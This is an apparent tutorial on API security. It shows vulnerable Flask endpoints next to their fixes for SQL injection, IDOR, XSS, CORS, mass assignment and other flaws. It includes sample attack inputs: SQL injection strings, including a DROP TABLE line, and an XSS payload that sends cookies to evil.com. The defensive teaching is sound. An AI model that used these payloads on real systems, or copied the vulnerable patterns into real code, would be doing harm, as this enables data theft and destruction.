Your API is your attack surface. Every endpoint you expose is a door that attackers will try to open. In 2025, API attacks increased by 681% (Salt Security report). This guide shows you exactly how hackers attack APIs and how to defend against each attack — with real exploit examples and defense code.
The Top API Attack Vectors
1. SQL Injection — The Classic Database Attack
How the attacker thinks: "If I put SQL code in this input field, will the server execute it?"
# ❌ VULNERABLE: String concatenation in SQL
@app.route("/api/users")
def get_users():
search = request.args.get("search", "")
# Attacker sends: search=' OR '1'='1
query = f"SELECT * FROM users WHERE name = '{search}'"
# Becomes: SELECT * FROM users WHERE name = '' OR '1'='1'
# Returns ALL users! The attacker now has your entire user database.
results = db.execute(query)
return jsonify(results)
# Even worse — the attacker can MODIFY data:
# search='; DROP TABLE users; --
# Becomes: SELECT * FROM users WHERE name = ''; DROP TABLE users; --'
# Your users table is gone.
# ✅ DEFENSE: Parameterized queries (ALWAYS)
@app.route("/api/users")
def get_users():
search = request.args.get("search", "")
# Parameters are NEVER executed as SQL — they're treated as data
query = "SELECT * FROM users WHERE name = ?"
results = db.execute(query, (search,))
return jsonify(results)
# With an ORM (even safer — no raw SQL at all):
users = User.query.filter(User.name.ilike(f"%{search}%")).all()
# Defense checklist:
# 1. NEVER use f-strings or .format() in SQL queries
# 2. ALWAYS use parameterized queries or ORM methods
# 3. Use least-privilege database users (read-only for read endpoints)
# 4. Enable WAF (Web Application Firewall) to block common SQLi patterns
2. Broken Object-Level Authorization (BOLA/IDOR)
How the attacker thinks: "If I change the user ID in the URL from my ID to someone else's, will the API let me see their data?"
# ❌ VULNERABLE: No ownership check
@app.route("/api/orders/<order_id>")
@login_required
def get_order(order_id):
# Attacker is user 5, but requests /api/orders/999 (user 3's order)
order = Order.query.get(order_id)
return jsonify(order.to_dict())
# Returns user 3's order! No check if the requester owns it.
# ✅ DEFENSE: Always verify ownership
@app.route("/api/orders/<order_id>")
@login_required
def get_order(order_id):
order = Order.query.get(order_id)
if not order:
return jsonify({"error": "Not found"}), 404
# CRITICAL: Check ownership
if order.user_id != current_user.id:
return jsonify({"error": "Forbidden"}), 403
return jsonify(order.to_dict())
# Better: Always filter by user at the query level
@app.route("/api/orders/<order_id>")
@login_required
def get_order(order_id):
order = Order.query.filter_by(
id=order_id,
user_id=current_user.id # Can ONLY see own orders
).first_or_404()
return jsonify(order.to_dict())
3. Cross-Site Scripting (XSS)
How the attacker thinks: "If I submit JavaScript as my username, will it execute when other users view my profile?"
# ❌ VULNERABLE: Unescaped output
# Attacker sets their name to: <script>fetch('https://evil.com/?cookie='+document.cookie)</script>
# When any user views the attacker's profile, their cookies are stolen!
# ✅ DEFENSE: Multiple layers
# Layer 1: Escape all output (frameworks do this by default)
# Angular: Safe by default — [innerHTML] is sanitized
# React: Safe by default — JSX escapes values
# Django: {{ value }} auto-escapes HTML
# NEVER use: [innerHTML]="untrustedData" or dangerouslySetInnerHTML
# Layer 2: Content-Security-Policy header
# Prevents inline scripts from executing even if injected
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'
# Layer 3: HttpOnly cookies (can't be read by JavaScript)
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
# Layer 4: Input validation
def sanitize_input(text):
"""Strip HTML tags from user input."""
import bleach
return bleach.clean(text, tags=[], strip=True)
4. Rate Limiting — Stop Brute Force & DDoS
How the attacker thinks: "If there's no rate limit, I can try 10,000 passwords per second on the login endpoint."
# Python: Rate limiting with Flask-Limiter
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
limiter = Limiter(
app,
key_func=get_remote_address,
default_limits=["200 per day", "50 per hour"],
storage_uri="redis://localhost:6379", # Use Redis for distributed rate limiting
)
# Strict limit on login
@app.route("/api/auth/login", methods=["POST"])
@limiter.limit("5 per 15 minutes")
def login():
# After 5 failed attempts, return 429 Too Many Requests
pass
# Different limits per endpoint
@app.route("/api/search")
@limiter.limit("30 per minute")
def search():
pass
# nginx rate limiting (infrastructure level):
# limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
# location /api/ {
# limit_req zone=api burst=20 nodelay;
# limit_req_status 429;
# }
# Return proper headers so clients know the limits:
# X-RateLimit-Limit: 100
# X-RateLimit-Remaining: 43
# X-RateLimit-Reset: 1712345678
# Retry-After: 30
5. CORS Misconfiguration
How the attacker thinks: "If the API allows any origin, I can make requests from my malicious website using the victim's cookies."
# ❌ VULNERABLE: Allow all origins
from flask_cors import CORS
CORS(app, origins="*", supports_credentials=True)
# ANY website can now make authenticated requests to your API!
# Attacker creates evil.com with JavaScript that calls your API
# using the victim's cookies. The API happily responds.
# ✅ DEFENSE: Whitelist specific origins
CORS(app, origins=[
"https://app.example.com",
"https://admin.example.com",
], supports_credentials=True)
# nginx CORS headers (manual control):
# add_header Access-Control-Allow-Origin "https://app.example.com" always;
# add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE" always;
# add_header Access-Control-Allow-Headers "Authorization, Content-Type" always;
# add_header Access-Control-Allow-Credentials "true" always;
# CORS rules:
# 1. NEVER use origins="*" with credentials=True
# 2. Whitelist only YOUR frontend domains
# 3. Don't reflect the Origin header back (common misconfiguration)
# 4. Restrict allowed methods (don't allow DELETE if not needed)
6. Mass Assignment / Over-Posting
How the attacker thinks: "What if I add extra fields to the request body that I'm not supposed to set?"
# ❌ VULNERABLE: Accept all fields from request
@app.route("/api/users/me", methods=["PATCH"])
@login_required
def update_profile():
data = request.json
# Attacker sends: {"name": "Hacker", "role": "admin", "is_verified": true}
for key, value in data.items():
setattr(current_user, key, value) # Sets EVERYTHING including role!
db.session.commit()
return jsonify(current_user.to_dict())
# ✅ DEFENSE: Explicit allowlist of updatable fields
ALLOWED_FIELDS = {"name", "email", "avatar_url", "bio"}
@app.route("/api/users/me", methods=["PATCH"])
@login_required
def update_profile():
data = request.json
for key, value in data.items():
if key in ALLOWED_FIELDS: # Only allow safe fields
setattr(current_user, key, value)
# "role", "is_admin", "is_verified" are silently ignored
db.session.commit()
return jsonify(current_user.to_dict())
# Even better: Use Pydantic/Marshmallow schemas
from pydantic import BaseModel
class UpdateProfileRequest(BaseModel):
name: str | None = None
email: str | None = None
bio: str | None = None
# role, is_admin NOT in schema = impossible to set
7. Security Headers — The Free Defense Layer
# Every API response should include these headers:
# nginx configuration:
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header X-XSS-Protection "0" always; # Disabled — use CSP instead
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Content-Security-Policy "default-src 'self'" always;
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
# Python (Flask middleware):
@app.after_request
def add_security_headers(response):
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-Frame-Options'] = 'DENY'
response.headers['Strict-Transport-Security'] = 'max-age=63072000'
response.headers['Content-Security-Policy'] = "default-src 'self'"
return response
8. API Authentication Hardening
# JWT Best Practices:
# 1. Short-lived access tokens (15 min)
# 2. Refresh tokens stored in HttpOnly cookies (not localStorage!)
# 3. Token rotation — new refresh token on each use
# 4. Revocation — maintain a blocklist for compromised tokens
# ❌ BAD: Long-lived token in localStorage
localStorage.setItem('token', jwt)
// XSS can steal this token!
# ✅ GOOD: HttpOnly cookie (JavaScript can't access it)
Set-Cookie: access_token=eyJ...; HttpOnly; Secure; SameSite=Strict; Path=/api; Max-Age=900
# Password rules:
# - Minimum 12 characters
# - Check against breached password databases (HaveIBeenPwned API)
# - bcrypt or Argon2 for hashing (NEVER SHA-256)
# - Account lockout after 5 failed attempts (with exponential backoff)
9. WAF (Web Application Firewall)
A WAF sits between the internet and your API, blocking common attacks before they reach your code:
# AWS WAF rules example:
# 1. Block SQL injection patterns (AWS managed rule)
# 2. Block known bad IPs (AWS IP reputation list)
# 3. Block requests with no User-Agent
# 4. Rate limit: 2000 requests/5min per IP
# 5. Geo-block countries you don't serve
# 6. Block requests larger than 8KB to login endpoints
# Cloudflare WAF (simpler setup):
# - Enable "OWASP Core Rule Set" (blocks top 10 attacks)
# - Enable "Bot Fight Mode"
# - Set rate limiting rules per endpoint
# - Enable "Under Attack Mode" during DDoS
Complete API Security Checklist
| Category | Defense | Priority |
|---|---|---|
| Authentication | Short-lived JWTs, HttpOnly cookies, MFA, bcrypt/Argon2 | Critical |
| Authorization | Check ownership on every endpoint, RBAC, no BOLA/IDOR | Critical |
| Input Validation | Parameterized SQL, Pydantic schemas, sanitize all input | Critical |
| Rate Limiting | Per-user and per-IP limits, stricter on auth endpoints | High |
| CORS | Whitelist origins, no wildcard with credentials | High |
| Security Headers | HSTS, CSP, X-Content-Type-Options, X-Frame-Options | High |
| TLS | HTTPS everywhere, TLS 1.2+ minimum, HSTS preload | Critical |
| WAF | AWS WAF, Cloudflare, or ModSecurity with OWASP rules | High |
| Logging | Log all auth events, failed requests, unusual patterns | Medium |
| Dependency Scanning | Snyk/Dependabot in CI, patch critical CVEs within 24h | Medium |
API security is not a feature you add at the end — it's a practice you embed from day one. The attacks in this guide are not theoretical — they happen every day to real APIs. Start with the critical items: parameterized queries, ownership checks, rate limiting, and proper authentication. Then layer on WAF, security headers, and monitoring. Every defense you add makes the attacker's job exponentially harder.